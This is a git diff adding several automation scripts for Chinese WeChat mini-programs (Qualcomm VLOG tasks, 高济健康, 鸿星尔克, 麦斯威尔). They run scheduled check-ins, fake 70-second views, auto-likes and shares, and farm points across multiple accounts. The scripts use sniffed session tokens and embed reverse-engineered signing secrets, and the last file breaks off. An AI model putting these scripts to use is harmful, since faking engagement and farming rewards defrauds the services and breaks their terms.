+ $.log("✅ VLOG观看任务完成"); + + await this.request( + "GET", + `/qualcomm-app/api/article/like?articleId=${targetVlog.id}&userId=${this.userId}` + ); + + await this.request( + "POST", + "/qualcomm-app/api/article/shareDaily", + `articleId=${targetVlog.id}&userId=${this.userId}` + ); + + $.log("✅ VLOG点赞和分享完成"); + } else { + $.log(`⚠️ 退出VLOG观看失败: ${exitRes.message}`); + } + } else { + $.log(`❌ 进入VLOG观看失败: ${enterRes.message}`); + } + } else { + $.log(`❌ 获取VLOG列表失败: ${vlogRes.message || '未知错误'}`); + } + } + + async batchHandleVlogs(count = 1) { + // 修改默认只处理1个VLOG + $.log(`🔍 开始批量处理${count}个VLOG任务...`); + + const vlogRes = await this.request( + "GET", + `/qualcomm-app/api/article/vlogList?page=1&size=20&userId=${this.userId}&sortBy=1` + ); + + if (vlogRes.code === 200 && vlogRes.data?.records?.length) { + const vlogs = vlogRes.data.records; + + // 只处理前count个VLOG,不筛选是否已观看 + const tasks = Math.min(count, vlogs.length); + let completed = 0; + + for (let i = 0; i < tasks; i++) { + const vlog = vlogs[i]; + $.log(`\n🎬 处理第 ${i + 1}/${tasks} 个VLOG: ${vlog.title.substring(0, 20)}...`); + + try { + const enterRes = await this.request( + "POST", + "/qualcomm-app/api/article/enterReadDaily", + `articleId=${vlog.id}&userId=${this.userId}` + ); + + if (enterRes.code === 200) { + // 固定观看70秒 + const waitTime = 70000; + + $.log(`⏳ 观看中... (70秒)`); + await $.wait(waitTime); + + const exitRes = await this.request( + "POST", + "/qualcomm-app/api/article/exitReadDaily", + `articleId=${vlog.id}&userId=${this.userId}` + ); + + if (exitRes.code === 200) { + completed++; + $.log(`✅ 第 ${i + 1} 个VLOG观看完成`); + + await this.request( + "GET", + `/qualcomm-app/api/article/like?articleId=${vlog.id}&userId=${this.userId}` + ); + await this.request( + "POST", + "/qualcomm-app/api/article/shareDaily", + `articleId=${vlog.id}&userId=${this.userId}` + ); + } + } + } catch (error) { + $.log(`❌ 处理VLOG失败: ${error.message}`); + } + + if (i < tasks - 1) { + await $.wait(2000); + } + } + + $.log(`\n🎉 批量VLOG任务完成: ${completed}/${tasks} 个VLOG观看成功`); + return completed; + } else { + $.log("❌ 无法获取VLOG列表"); + return 0; + } + } +} + +async function main() { + let cookies = []; + + if ($.isNode()) { + const raw = process.env[ckName] || ""; + cookies = raw.split(/[#&\n]/).filter(Boolean); + + if (!cookies.length) { + const fs = require('fs'); + try { + if (fs.existsSync(`${ckName}.txt`)) { + const content = fs.readFileSync(`${ckName}.txt`, 'utf8'); + cookies = content.split(/[#&\n]/).filter(Boolean); + } + } catch (e) { + } + } + } else { + const raw = $.getdata(ckName) || ""; + cookies = raw.split(/[#&\n]/).filter(Boolean); + } + + if (!cookies.length) { + $.log(`🔔 未找到变量【${ckName}】,请添加`); + $.log(`💡 CK格式: sessionKey#userId`); + $.log(`📝 配置方法:`); + $.log(` 1. Node.js: 设置环境变量 ${ckName}="sessionKey#userId"`); + $.log(` 2. 浏览器: 设置 localStorage.${ckName}="sessionKey#userId"`); + $.log(` 3. 本地文件: 创建 ${ckName}.txt 文件,每行一个 sessionKey#userId`); + return; + } + + const accounts = []; + for (let i = 0; i < cookies.length; i += 2) { + if (cookies[i] && cookies[i + 1]) { + accounts.push(`${cookies[i]}#${cookies[i + 1]}`); + } else if (cookies[i] && cookies[i].includes('#')) { + accounts.push(cookies[i]); + } + } + + if (!accounts.length) { + $.log("❌ CK格式错误,请检查是否为 'sessionKey#userId' 格式"); + return; + } + + $.log(`🎯 共加载 ${accounts.length} 个账号`); + + for (let i = 0; i < accounts.length; i++) { + const account = accounts[i]; + $.log(`\n📱 开始处理账号 ${i + 1}/${accounts.length}`); + + try { + const xlxyh = new XLXYH(account); + + await xlxyh.run(); + + const vlogCount = 1; // 只观看1个VLOG + await xlxyh.batchHandleVlogs(vlogCount); + + if (i < accounts.length - 1) { + await $.wait(3000); + } + } catch (error) { + $.log(`❌ 账号 ${i + 1} 处理失败: ${error.message}`); + } + } + + if ($.isNode()) { + try { + if (process.env.NOTIFY_TOKEN || process.env.PUSH_PLUS_TOKEN || process.env.SERVER_CHAN_TOKEN) { + await sendNotify($.name, $.logs.join("\n")); + } + } catch (error) { + } + } + + $.log("\n🎉 所有账号处理完成!"); +} + +main().catch(e => { + $.log(`❌ 脚本异常: ${e.message || e}`); + console.error(e.stack); +}).finally(() => { + $.done(); +}); + +async function sendNotify(title, content) { + if (!content) return; + + const notifyTokens = [ + process.env.NOTIFY_TOKEN, + process.env.PUSH_PLUS_TOKEN, + process.env.SERVER_CHAN_TOKEN + ].filter(token => token); + + for (const token of notifyTokens) { + try { + const notify = require('sendNotify'); + await notify.sendNotify(title, content); + break; + } catch (error) { + } + } +} diff --git a/脚本库/微信小程序/抓包版/高济健康pro小程序签到/2025-06-28_高济健康_53c56682.js b/脚本库/微信小程序/抓包版/高济健康pro小程序签到/2025-06-28_高济健康_53c56682.js new file mode 100644 index 0000000..68df448 --- /dev/null +++ b/脚本库/微信小程序/抓包版/高济健康pro小程序签到/2025-06-28_高济健康_53c56682.js @@ -0,0 +1,273 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E9%AB%98%E6%B5%8E%E5%81%A5%E5%BA%B7.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E9%AB%98%E6%B5%8E%E5%81%A5%E5%BA%B7.js +// # Repo: jdqlscript/toulu +// # Path: 高济健康.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 53c56682213335b3a8a7dba0a06dfbb840324d343601d8d7d8f03b336d491d2f +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * 高济健康pro小程序签到 + * cron 7 5 * * * gjjkpro.js + * 活动入口 首页 智慧小屋 + * ========= 青龙--配置文件 =========== + * # 项目名称 + * export wx_gjjkpro_data='userId&authorization' + * + * 多账号用 换行 或 @ 分割 + * 抓包 https://api.gaojihealth.cn/fund/api/ , 找到userId&authorization即可 + * ==================================== + TL库:https://github.com/3288588344/toulu.git + tg频道:https://t.me/TLtoulu + QQ频道:https://pd.qq.com/s/672fku8ge + */ + + + + +const $ = new Env("高济健康pro小程序签到"); +const ckName = "wx_gjjkpro_data"; +//-------------------- 一般不动变量区域 ------------------------------------- +const Notify = 1; //0为关闭通知,1为打开通知,默认为1 +const notify = $.isNode() ? require('./sendNotify') : ''; +let debug = 1; //Debug调试 0关闭 1开启 +let envSplitor = ["@"]; //多账号分隔符 +let ck = msg = ''; //let ck,msg +let host, hostname; +let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ''; +let userList = []; +let userIdx = 0; +let userCount = 0; +//---------------------- 自定义变量区域 ----------------------------------- +//--------------------------------------------------------- + +async function start() { + + console.log('\n================== 用户CK ==================\n'); + taskall = []; + for (let user of userList) { + taskall.push(await user.user_info()); + await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数 + } + await Promise.all(taskall); + console.log('\n================== 签到 ==================\n'); + taskall = []; + for (let user of userList) { + if (user.ckStatus) { + taskall.push(await user.task_signin()); + await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数 + } + + } + await Promise.all(taskall); + console.log('\n================== 任务 ==================\n'); + taskall = []; + let tasktmp; + for (let user of userList) { + if (user.ckStatus) { + for(let tasknum in user.taskList){ + tasktmp = user.taskList[tasknum] + taskall.push(await user.task_do(tasktmp)); + await $.wait(3000); //延迟 1秒 可充分利用 $.环境函数 + } + + } + + } + await Promise.all(taskall); + + + +} + + +class UserInfo { + constructor(str) { + this.index = ++userIdx; + this.userId = str.split('&')[0]; //单账号多变量分隔符 + this.ck = str.split('&')[1]; + this.ck = this.ck.replace('bearer', 'bearer ') + //let ck = str.split('&') + //this.data1 = ck[0] + this.ckStatus = true + this.headersPost = { + 'Host': 'api.gaojihealth.cn', + 'Content-Type': 'application/json;charset=UTF-8', + 'authorization': this.ck, + } + this.headersGet = { + 'Host': 'api.gaojihealth.cn', + 'authorization': this.ck, + } + this.taskList = [{ "browsePageId": "100004", "browsePageUrl": "/modules/integral/integral-mall/index", "taskId": 729 }, { "browsePageId": "100015", "browsePageUrl": "/modules/storeEmployeeQRcode/index?pageType=1", "taskId": 730 }] + + } + + async user_info() {//userinfo + try { + let options = { + url: `https://api.gaojihealth.cn/fund/api/noauth/appCoupon/findDkSignActivityPage?businessId=212798&userId=${this.userId}&version=1.4`, + headers: this.headersGet, + } + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.runFlag == true) { + DoubleLog(`账号[${this.index}] ck验证成功: G金[${result.integralResponse.currentFund}] `); + this.ckStatus = true + } else { + DoubleLog(`账号[${this.index}] ck验证失效,原因未知!`); + this.ckStatus = false + console.log(result); + } + } catch (e) { + console.log(e); + } + } + async task_signin() {//userinfo + try { + let options = { + url: `https://api.gaojihealth.cn/gulosity/api/dkUserEvent/everyDaySign`, + headers: this.headersPost, + body: JSON.stringify({ "businessId": 212798, "userId": this.userId, "taskId": 372 }) + } + this.headersPost['Content-Length'] = options.body.length + + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.opCode == 200) { + DoubleLog(`账号[${this.index}] 签到成功: [${result.prizeInfo}] `); + } else { + DoubleLog(`账号[${this.index}] 签到失效,原因未知!`); + console.log(result); + } + } catch (e) { + console.log(e); + } + } + async task_do(tasktmp) {//DO + + try { + let options = { + url: `https://api.gaojihealth.cn/gulosity/api/dkUserEvent/browsePageCompleteTaskEvent`, + headers: this.headersPost, + body: JSON.stringify(tasktmp) + } + this.headersPost['Content-Length'] = options.body.length + + //console.log(options); + + let result = await httpRequest(options) + if (result == 'true') { + DoubleLog(`账号[${this.index}] 执行任务成功: [${tasktmp.taskId}] `); + } else { + DoubleLog(`账号[${this.index}] 执行任务失效,原因未知!`); + console.log(result); + } + //console.log(result); + + } catch (e) { + console.log(e); + } + } + + + + +} + +!(async () => { + if (!(await checkEnv())) return; + if (userList.length > 0) { + await start(); + } + await SendMsg(msg); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + + +//******************************************************** +// 变量检查与处理 +async function checkEnv() { + if (userCookie) { + // console.log(userCookie); + let e = envSplitor[0]; + for (let o of envSplitor) + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); + userCount = userList.length; + } else { + console.log("未找到CK"); + return; + } + return console.log(`共找到${userCount}个账号`), true;//true == !0 +} +///////////////////////////////////////////////////////////////////////////////////// + +function httpRequest(options, method) { + typeof (method) === 'undefined' ? ('body' in options ? method = 'post' : method = 'get') : method = method + return new Promise((resolve) => { + $[method](options, (err, resp, data) => { + try { + if (err) { + console.log(`${method}请求失败`); + $.logErr(err); + //throw new Error(err); + //console.log(err); + } else { + //httpResult = data; + //httpResponse = resp; + if (data) { + //console.log(data); + typeof JSON.parse(data) == 'object' ? data = JSON.parse(data) : data = data + resolve(data) + } else { + console.log(`请求api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + //console.log(e, resp); + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function ts13() { + return Math.round(new Date().getTime()).toString(); +} +// 双平台log输出 +function DoubleLog(data) { + if ($.isNode()) { + if (data) { + console.log(`${data}`); + msg += `\n${data}` + } + } else { + console.log(`${data}`); + msg += `\n${data}` + } +} +// 发送消息 +async function SendMsg(message) { + if (!message) return; + if (Notify > 0) { + if ($.isNode()) { + await notify.sendNotify($.name, message) + } else { + $.msg($.name, '', message) + } + } else { + console.log(message) + } +} +// 完整 Env +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("xxxxxx") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/鸿星尔克签到/2026-04-01_erke_c82ab68b.py b/脚本库/微信小程序/抓包版/鸿星尔克签到/2026-04-01_erke_c82ab68b.py new file mode 100644 index 0000000..b8e61e8 --- /dev/null +++ b/脚本库/微信小程序/抓包版/鸿星尔克签到/2026-04-01_erke_c82ab68b.py @@ -0,0 +1,196 @@ +# Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/erke.py +# Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/erke.py +# Repo: smallfawn/QLScriptPublic +# Path: daily/erke.py +# UploadedAt: 2026-04-01T12:37:39Z +# SHA256: c82ab68bd69e9577d92fa8366558ae24b3be8793d62bef0381e1914cc805750d +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +new Env('鸿星尔克签到'); +cron: 1 10 * * * +""" +# ================================================================= +# 使用说明: +# 1. 环境变量名称:ERKE_CONF +# 2. 环境变量格式:member_id#enterprise_id#unionid#openid#wx_openid#备注 +# 3. 多账号支持:多个账号请换行,或者使用 & 符号连接 +# 示例: +# 12345#67890#unionid123#openid123#wx_openid123#我的账号 +# 54321#09876#unionid456#openid456#wx_openid456#大号 +# ================================================================= +# 配置日志 +import os +import requests +import hashlib +import random +import logging +from typing import Dict +from datetime import datetime, timedelta, timezone + + +logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') +logger = logging.getLogger("ErkeCheckIn") + +def get_gmt8_time() -> str: + """获取北京时间字符串""" + tz = timezone(timedelta(hours=8)) + return datetime.now(tz).strftime('%Y-%m-%d %H:%M:%S') + +def calculate_sign(appid: str, member_id: str, timestamp: str = None) -> dict: + """计算请求签名逻辑""" + if timestamp is None: + timestamp = get_gmt8_time() + + random_num = random.randint(0, 9999999) + trans_id = appid + timestamp + + # 按照JS逻辑拼接字符串 + sign_str = f"timestamp={timestamp}transId={trans_id}secret=damogic8888random={random_num}memberId={member_id}" + sign = hashlib.md5(sign_str.encode()).hexdigest() + + return { + 'sign': sign, + 'timestamp': timestamp, + 'transId': trans_id, + 'random': random_num, + 'appid': appid, + 'memberId': member_id + } + +class ErkeAPI: + def __init__(self, member_id, enterprise_id, unionid, openid, wx_openid, account_name): + self.member_id = member_id + self.enterprise_id = enterprise_id + self.unionid = unionid + self.openid = openid + self.wx_openid = wx_openid + self.account_name = account_name + self.appid = "wxa1f1fa3785a47c7d" + self.base_url = 'https://hope.demogic.com/gic-wx-app' + self.ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF' + + def get_headers(self, sign_val: str) -> Dict[str, str]: + return { + 'User-Agent': self.ua, + 'Content-Type': 'application/x-www-form-urlencoded', + 'sign': sign_val, # 注意:原逻辑此处传入的是enterprise_id + 'channelEntrance': 'wx_app', + 'Referer': 'https://servicewechat.com/wxa1f1fa3785a47c7d/85/page-frame.html', + } + + def get_integral(self): + """查询积分明细""" + sign_data = calculate_sign(self.appid, self.member_id) + data = { + 'currentPage': 1, + 'pageSize': 20, + 'memberId': self.member_id, + 'cliqueId': '-1', + 'enterpriseId': self.enterprise_id, + 'unionid': self.unionid, + 'openid': self.openid, + 'wxOpenid': self.wx_openid, + 'random': sign_data['random'], + 'appid': self.appid, + 'transId': sign_data['transId'], + 'sign': sign_data['sign'], + 'timestamp': sign_data['timestamp'], + 'gicWxaVersion': '3.9.56' + } + + try: + res = requests.post(f"{self.base_url}/integral_record.json", + headers=self.get_headers(self.enterprise_id), + data=data, timeout=10).json() + response_obj = res.get('response', {}) + accumulate = response_obj.get('accumulatPoints', 0) + logger.info(f"[{self.account_name}] 当前累计积分: {accumulate}") + return accumulate + except Exception as e: + logger.error(f"[{self.account_name}] 积分查询异常: {e}") + return "未知" + + def sign_in(self): + """执行签到""" + sign_data = calculate_sign(self.appid, self.member_id) + payload = { + 'source': 'wxapp', + 'memberId': self.member_id, + 'cliqueId': '-1', + 'enterpriseId': self.enterprise_id, + 'unionid': self.unionid, + 'openid': self.openid, + 'wxOpenid': self.wx_openid, + 'sign': sign_data['sign'], + 'random': sign_data['random'], + 'appid': self.appid, + 'transId': sign_data['transId'], + 'timestamp': sign_data['timestamp'], + 'gicWxaVersion': '3.9.56' + } + + headers = self.get_headers(self.enterprise_id) + headers['Content-Type'] = 'application/json;charset=UTF-8' + + try: + res = requests.post(f"{self.base_url}/sign/member_sign.json", + headers=headers, json=payload, timeout=10).json() + msg = res.get('message', '无返回信息') + code = res.get('code') + if code in ['0000', '1001', 0]: + logger.info(f"[{self.account_name}] 签到结果: {msg}") + return True, msg + else: + logger.warning(f"[{self.account_name}] 签到失败: {msg}") + return False, msg + except Exception as e: + logger.error(f"[{self.account_name}] 签到请求异常: {e}") + return False, str(e) + +def main(): + # 尝试从环境变量读取配置 + conf_str = os.getenv("ERKE_CONF", "") + if not conf_str: + logger.error("未找到环境变量 ERKE_CONF,请检查配置!") + return + # 处理多账号,支持换行或 & 分隔 + accounts_raw = conf_str.replace("&", "\n").splitlines() + summary = [] + + for line in accounts_raw: + if not line.strip(): continue + + params = line.strip().split("#") + if len(params) < 5: + logger.error(f"账号配置格式错误 (需5个#分隔): {line}") + continue + + # 提取参数 + m_id, e_id, uid, oid, wx_oid = params[:5] + name = params[5] if len(params) > 5 else f"账号_{m_id[-4:]}" + + api = ErkeAPI(m_id, e_id, uid, oid, wx_oid, name) + + # 执行流程 + points_before = api.get_integral() + success, msg = api.sign_in() + points_after = api.get_integral() + + status_emoji = "✅" if success else "❌" + summary.append(f"{status_emoji} 【{name}】: {msg} (积分: {points_before} -> {points_after})") + + # 打印最终统计 + print("\n" + "="*30) + print(" 鸿星尔克任务简报") + print("="*30) + print("\n".join(summary)) + + # 如果有通知推送逻辑,可以在此处调用 + # send_notification("鸿星尔克签到", "\n".join(summary)) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/麦斯威尔福利社小程序/2026-05-14_maisiweier_a234b70b.js b/脚本库/微信小程序/抓包版/麦斯威尔福利社小程序/2026-05-14_maisiweier_a234b70b.js new file mode 100644 index 0000000..d9e268d --- /dev/null +++ b/脚本库/微信小程序/抓包版/麦斯威尔福利社小程序/2026-05-14_maisiweier_a234b70b.js @@ -0,0 +1,397 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/maisiweier.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/maisiweier.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/maisiweier.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: a234b70b9780db372862cbf81313a343e4b84a614b95294cd30e9fd928379177 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 麦斯威尔福利社小程序 签到 浇水 积分 +cron: 30 9 * * * +------------------------------------------ +#Notice: 麦斯威尔福利社小程序 +抓jde.mtbcpt.com/api的POST请求中的openId 多账户&或换行 +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("麦斯威尔福利社小程序"); +let ckName = `mswe`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.openId = this.user[0]; + + } + + async run() { + await this.getMemberTaskInfo() + await this.getUserFarmGetWaterList() + for (let i = 0; i < 3; i++) { + await this.farmWatering(); + } + } + + md5(str) { + const crypto = require("crypto") + return crypto.createHash("md5").update(str).digest('hex'); + } + // ============================================================================================================================= + + async getMemberTaskInfo() { + try { + let timestamp = Date.now(); + let sign = this.md5(`timestamp=${timestamp}&openid=${this.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let options = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/GetMemberTaskInfo', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 